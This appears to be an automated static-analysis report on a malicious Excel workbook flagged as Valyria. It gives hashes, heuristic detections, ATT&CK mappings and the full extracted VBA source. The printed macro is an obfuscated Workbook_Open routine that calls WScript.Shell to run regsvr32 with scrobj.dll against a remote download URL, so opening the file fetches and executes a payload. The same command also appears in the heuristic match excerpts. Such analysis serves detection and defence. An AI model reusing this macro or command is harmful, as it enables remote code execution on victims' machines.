Valyria — Office (OOXML) malware analysis

Static analysis result for SHA-256 c1a17b8fd0cea9a5…

MALICIOUS

Office (OOXML)

19.9 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: ce2c77afeb099d21ed8b14f7f0a8fffa SHA-1: 437cd664e05d4141b74a6378ce1c65794d13ce2c SHA-256: c1a17b8fd0cea9a50d9fd4e0fb797c5f603b017b9f9b855be9aa976da5db72e8
390 Risk Score

Malware Insights

Valyria · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Malware.Valyria-10036093-0. Static analysis revealed the presence of a Workbook_Open macro that utilizes WScript.Shell and CreateObject to execute arbitrary code. This macro is designed to download and execute a second-stage payload, likely leveraging PowerShell for execution, as indicated by the heuristic firings.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.WAsrXsvCeKAuEiwwUHXETMfLF; *.WJCyoJkeCYIAMOPTUnfVdJTACVoLiafbILWAbQDhCWtunyGevtQXcWouQbVtsCWB; *.YTIWaDewwUGRtBLQOUWuBIPpyfGpTIdH; *.WTIAIWfLUvQHUnrBUbnuoHHpAikaGJndrMSTFULUGvwNEODUvuwGRHAruyaBNeewXM; *.WcOCYpcouFXPcVUeUODJEFnYtzerZuDfdNPodZSJK", 1
Set zr = CreateObject("WScript.Shell")
zr.Run ("regsvr32 /sXpw   /nGMk   /uXpw  /i:https://www.4sync.com/web/directDownload/NWxou-iO/_renzVwX.ccec83217bad26975bf40bf834a60de1  scrobj.dll wwf")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set zr = CreateObject("WScript.Shell")
zr.Run ("regsvr32 /sXpw   /nGMk   /uXpw  /i:https://www.4sync.com/web/directDownload/NWxou-iO/_renzVwX.ccec83217bad26975bf40bf834a60de1  scrobj.dll wwf")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.WAsrXsvCeKAuEiwwUHXETMfLF; *.WJCyoJkeCYIAMOPTUnfVdJTACVoLiafbILWAbQDhCWtunyGevtQXcWouQbVtsCWB; *.YTIWaDewwUGRtBLQOUWuBIPpyfGpTIdH; *.WTIAIWfLUvQHUnrBUbnuoHHpAikaGJndrMSTFULUGvwNEODUvuwGRHAruyaBNeewXM; *.WcOCYpcouFXPcVUeUODJEFnYtzerZuDfdNPodZSJK", 1
Set zr = CreateObject("WScript.Shell")
zr.Run ("regsvr32 /sXpw   /nGMk   /uXpw  /i:https://www.4sync.com/web/directDownload/NWxou-iO/_renzVwX.ccec83217bad26975bf40bf834a60de1  scrobj.dll wwf")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim HFeDBafokeSRsZXMpnARCIUWVaBuGSzLEcdUlEaD As Workbook, EowsBapBsiGGriAyCXYnXznRhzJIrrVbwDCkw As Workbook, ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh As Workbook, XKzninFyFNN As Workbook
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/NWxou-iO/_renzVwX.ccec83217bad26975bf40bf834a60de1 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 15776 bytes
SHA-256: b796dc86616d73c9dc0df8e8e829831429e11a28e46e6502bc282e87ac8e4433
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim HFeDBafokeSRsZXMpnARCIUWVaBuGSzLEcdUlEaD As Workbook, EowsBapBsiGGriAyCXYnXznRhzJIrrVbwDCkw As Workbook, ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh As Workbook, XKzninFyFNN As Workbook
Dim thfHWQtsvYZMHBtNetaAynSnoezbnOGhIwfBARBNRSRTkEzJbOXBnfnXHRbRaskeatZt As Workbook, bXGkNviESsZfAisrVKfJGdzYOH As Workbook, EGQZZChBAzEJKivintuYz As Workbook, bwhQwNeEcIdkPihZNezohrPfXXSGHvufyWUARYeYXsytihikZriZiheLWIT As Workbook
Dim iuNETNDGJkBPhkWHXNehLHQLPfpriTDXsodF As Integer, DbtTsEQR As Integer, zIBbDhEXYnQVnbvyFuzTuBAOTLKzcBKwYwIBKSVUJhWIerGYuUGiQhNXkNkRBeUDKGWeyP  As Integer, fwIDYPYtUTiORnAVFSMriynKXXUsODUfPwAukpVAzGWLdaGGk As Integer
Dim KBHrDeGKKQeM As Range, DrFIyswXGtEUkSLLdWVSfYECI As Range, HdJwoHXWiAoTcJhXHHtRZBIvthha As Range
Dim ahKzFWDDHLyK As Range, QVDyOQekJzATywehSOkSHXrSSTthYtIPQpZEMfr As Range, RTcAZpTwWsKWhCELnbakFW As Range, JJGC As Range, QnoTtEVZXP As Range, zEkKbUZdYEAsCKYLFBoHTNEUNWZIwoTtydiBiLV As Range
Dim LAGn As Variant, fPv As Variant
Dim rJDe As String
Dim iLGikAKOSFSJDZfHRMFIdUPzzzhPBroBnwzTAUerwXXhUhcBrAXIosHs, NZeDEJivieVpbHGNzFRbofIRGnYdTWReAdFPNHFYSiZORMVfYdheNIvSsiRYJ As Long

Dim bKy As Variant
bKy = Array("IdRHFndtLJHNNbBHekbNBefMGUILZZhtiFzWdROLrHNJkbafRiyMEKSE #", "LQOSpRJWODcSWAHwevUPSXMZ", "TeMT", "IdRHFndtLJHNNbBHekbNBefMGUILZZhtiFzWdROLrHNJkbafRiyMEKSE Kir", "IdRHFndtLJHNNbBHekbNBefMGUILZZhtiFzWdROLrHNJkbafRiyMEKSE oLo", "Xpw GMk", "wwf")
Dim TOd As Long, Cva As Long
Dim TSAY As String, KVAeXROSUoAGvZRdOPpzuKSuvaHZd As String
For DbtTsEQR = 1 To iLGikAKOSFSJDZfHRMFIdUPzzzhPBroBnwzTAUerwXXhUhcBrAXIosHs
    TSAY = ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("HbRHFkbsKIGNOaAGdkaNBehNF" & DbtTsEQR).Value
    KVAeXROSUoAGvZRdOPpzuKSuvaHZd = ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & DbtTsEQR).Value
    Select Case True
        Case TSAY = "PoV:": ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("HbRHFkbsKIGNOaAGdkaNBehNF" & DbtTsEQR & ":kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & DbtTsEQR).Font.Bold = True
        Case InStr(1, TSAY, "LQOSpRJWODcSWAHwevUPSXMZ: ")
            ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("HbRHFkbsKIGNOaAGdkaNBehNF" & DbtTsEQR & ":ufoOIdstIwyOTGHnhwvVQUVvwsOPZJuPuChZEUBXoFrtTUvCIaJPNfNyw" & DbtTsEQR).Interior.ColorIndex = 15
            ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("HbRHFkbsKIGNOaAGdkaNBehNF" & DbtTsEQR).Font.Bold = True
        Case InStr(1, KVAeXROSUoAGvZRdOPpzuKSuvaHZd, "HbRHFkbsKIGNOaAGdkaNBehNF"): ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & DbtTsEQR & ":kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & (DbtTsEQR + 2)).Interior.ColorIndex = 37
        Case InStr(1, KVAeXROSUoAGvZRdOPpzuKSuvaHZd, "kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?"): ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & DbtTsEQR & ":kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & (DbtTsEQR + 2)).Interior.ColorIndex = 3
        Case InStr(1, KVAeXROSUoAGvZRdOPpzuKSuvaHZd, "szFhJKhTPcUaABUKbISZNpR"): ifAVHiRWVbeCZSEGLLTeBnPhdNcpPRdTohQiTQFTBJoXArLMh.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & DbtTsEQR & ":kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?" & (DbtTsEQR + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next DbtTsEQR
Application.DisplayAlerts = False
Dim rrLuUprKRBphppriBeiftHObbiAQTUQPbYdEtPvTyvpAhkeOMWTZOMWNHKvNPEQXLzfwh As PivotItem

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'RTcAZpTwWsKWhCELnbakFW  kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy DbtTsEQR  oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR
    .Filters.Add "Excel Files", "*.WAsrXsvCeKAuEiwwUHXETMfLF; *.WJCyoJkeCYIAMOPTUnfVdJTACVoLiafbILWAbQDhCWtunyGevtQXcWouQbVtsCWB; *.YTIWaDewwUGRtBLQOUWuBIPpyfGpTIdH; *.WTIAIWfLUvQHUnrBUbnuoHHpAikaGJndrMSTFULUGvwNEODUvuwGRHAruyaBNeewXM; *.WcOCYpcouFXPcVUeUODJEFnYtzerZuDfdNPodZSJK", 1
Set zr = CreateObject("WScript.Shell")
zr.Run ("regsvr32 /sXpw   /nGMk   /uXpw  /i:https://www.4sync.com/web/directDownload/NWxou-iO/_renzVwX.ccec83217bad26975bf40bf834a60de1  scrobj.dll wwf")
 .Show
 'LQOSpRJWODcSWAHwevUPSXMZ HbRHFkbsKIGNOaAGdkaNBehNF HbRHFkbsKIGNOaAGdkaNBehNF /nGMk kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy HbRHFkbsKIGNOaAGdkaNBehNF HbRHFkbsKIGNOaAGdkaNBehNF HbRHFkbsKIGNOaAGdkaNBehNF kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy

End With
If InStr(fullpath, ".YTIWaDewwUGRtBLQOUWuBIPpyfGpTIdH") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).UsedRange.Copy Destination:=wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & Rows.eRCduMEwyDyytTsrfowEArWKvipvacJG).End(xlUp)
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("LknIzUSIuyzvBMQLAGJJoXuVOrvyiaJHRveQVtYZdWJPypWJbJROCsiOWzUdI").Value = "Status"
lRow = wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Cells(Rows.eRCduMEwyDyytTsrfowEArWKvipvacJG, 1).End(xlUp).Row
For DRXUEuCNEwKfXdSLNHvRDGF = 2 To lRow
    If wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("H" & DRXUEuCNEwKfXdSLNHvRDGF).Value = 0 And wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR(1).Range("I" & DRXUEuCNEwKfXdSLNHvRDGF).Value = 0 Then
        wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("DRXUEuCNEwKfXdSLNHvRDGF" & DRXUEuCNEwKfXdSLNHvRDGF).Value = "szFhJKhTPcUaABUKbISZNpR"
    Else
        wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("DRXUEuCNEwKfXdSLNHvRDGF" & DRXUEuCNEwKfXdSLNHvRDGF).Value = "szFhJKhTPcUaABUKbISZNpR"
    End If
Next DRXUEuCNEwKfXdSLNHvRDGF
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("ksCTdMTvFWPIaEJMEETfJcBWCITFCUBJFbIGdyOpvzynYEPGHZuGFpLf:LknIzUSIuyzvBMQLAGJJoXuVOrvyiaJHRveQVtYZdWJPypWJbJROCsiOWzUdI").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/TGMtoCkCbGptZnNMhGcBdnaVnAAQHoWIcSXNYcwNBzwIvJTIFOIsSJZ", "FF", "FF/TGMtoCkCbGptZnNMhGcBdnaVnAAQHoWIcSXNYcwNBzwIvJTIFOIsSJZ", "aYefkeEsQOZDCWLMSFAoTLNWVEKkcGkInAQKaNCBTWRBfdRHdUAYpWSrv", "aYefkeEsQOZDCWLMSFAoTLNWVEKkcGkInAQKaNCBTWRBfdRHdUAYpWSrv/TGMtoCkCbGptZnNMhGcBdnaVnAAQHoWIcSXNYcwNBzwIvJTIFOIsSJZ"), _
    Operator:=xlFilterValues
    'TeMT
    wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("ksCTdMTvFWPIaEJMEETfJcBWCITFCUBJFbIGdyOpvzynYEPGHZuGFpLf:LknIzUSIuyzvBMQLAGJJoXuVOrvyiaJHRveQVtYZdWJPypWJbJROCsiOWzUdI").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'LQOSpRJWODcSWAHwevUPSXMZ
    wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Range("ksCTdMTvFWPIaEJMEETfJcBWCITFCUBJFbIGdyOpvzynYEPGHZuGFpLf:LknIzUSIuyzvBMQLAGJJoXuVOrvyiaJHRveQVtYZdWJPypWJbJROCsiOWzUdI").AutoFilter _
    Field:=7, _
    Criteria1:=Array("HbRHFkbsKIGNOaAGdkaNBehNF", "kIOkKFTTbYWAVtPizZRUGfiTUSObYPCfEhMMy?hybCBr?", "szFhJKhTPcUaABUKbISZNpR"), _
    Operator:=xlFilterValues
Worksheets("UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa").Cells(1, 1).Select
 oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"UfynvYIfpGhSXMGcUnDiLiiCBOorevuwBRRTfSTXKhVbLwfa!R1C1:R" & lRow & "kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="avSoaETeWKWVwAiDybLSMnGRQMnWhM!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Select
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).AddFields _
ColumnFields:="HbRHFkbsKIGNOaAGdkaNBehNF", _
RowFields:=Array("LQOSpRJWODcSWAHwevUPSXMZ", "WV", "WV", "WV", "WV")
With wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("VftOLIMupbRHWRIpTnABJoaOeMGXczBnMTtyKDLsfvkA")
.Orientation = xlDataField
.Name = "eRCduMEwyDyytTsrfowEArWKvipvacJG"
.Function = xlCount
End With

With wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("VftOLIMupbRHWRIpTnABJoaOeMGXczBnMTtyKDLsfvkA")
.Orientation = xlDataField
.Name = "WLfKacSdzABvGKDY"
.NumberFormat = "WLfKacSdzABvGKDY"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

With wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("LQOSpRJWODcSWAHwevUPSXMZ")
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh").Visible = False
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh").Visible = False
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh").Visible = False
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh").Visible = False
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("(WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh)").Visible = False
End With
With wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("Battalion")
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh").Visible = False
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("(WuTFnCYUKSfWwCzNTBMZODcNnLZKyVMiQOLMHeatOWUJaAzAudeRoWPzphwJDnBOhYh)").Visible = False
End With
For Each rrLuUprKRBphppriBeiftHObbiAQTUQPbYdEtPvTyvpAhkeOMWTZOMWNHKvNPEQXLzfwh In wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("Rank").VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC
    On Error Resume Next
    rrLuUprKRBphppriBeiftHObbiAQTUQPbYdEtPvTyvpAhkeOMWTZOMWNHKvNPEQXLzfwh.Visible = False
Next rrLuUprKRBphppriBeiftHObbiAQTUQPbYdEtPvTyvpAhkeOMWTZOMWNHKvNPEQXLzfwh
With wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("Rank")
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WCZHKP").Visible = True
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WCZHKP/WCZHKP").Visible = True
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WCZHKP").Visible = True
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WCZHKP/WCZHKP").Visible = True
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WCZHKP").Visible = True
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("WCZHKP/WCZHKP").Visible = True
    .VcXsDtsiCDsVLYUHsHsDJfOihQyNYRXAhDSPyZecLMPoHhbfZRsYoeNKsPeMOC("(WCZHKP)").Visible = False
End With
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).PivotFields("Battalion").ShowDetail = False
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").PivotTables(1).RefreshTable
For j = 7 To 13
    wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & j).Value = "Battalion " & wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & j).Value
    Debug.Print (j)
Next j
For k = 6 To 22 Step 8
    wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & k).Value = "LQOSpRJWODcSWAHwevUPSXMZ " & wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & k).Value
Next k
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").Value = "eRCduMEwyDyytTsrfowEArWKvipvacJG"
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").Value = "%"
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").EntireRow.Hidden = True
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF:kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").Columns.AutoFit
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Columns("kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").Hidden = True
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy:kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").Interior.Color = vbRed
wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy:kbitPcQYaUeUWTWKrIziXSdVZcJvShSGeAHaNsiPVzUwSUdLAorVzDJsXuyMy").Interior.ColorIndex = 22
For m = 7 To 23 Step 8
    wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & m & ":F" & m + 6).Interior.Color = vbYellow
    wb.oHQTPwDseYQMFWBBNiRoUyDkHruWPoNaLhoQTFJyQwCnfOOiUXnGrrR("avSoaETeWKWVwAiDybLSMnGRQMnWhM").Range("HbRHFkbsKIGNOaAGdkaNBehNF" & m - 1 & ":F" & m - 1).Interior.ColorIndex = 15
Next m

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 30208 bytes
SHA-256: 060f175d2927ca6d17075e861ed592eb136c62442761c94efdaf3f72e4a3170d
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: likely
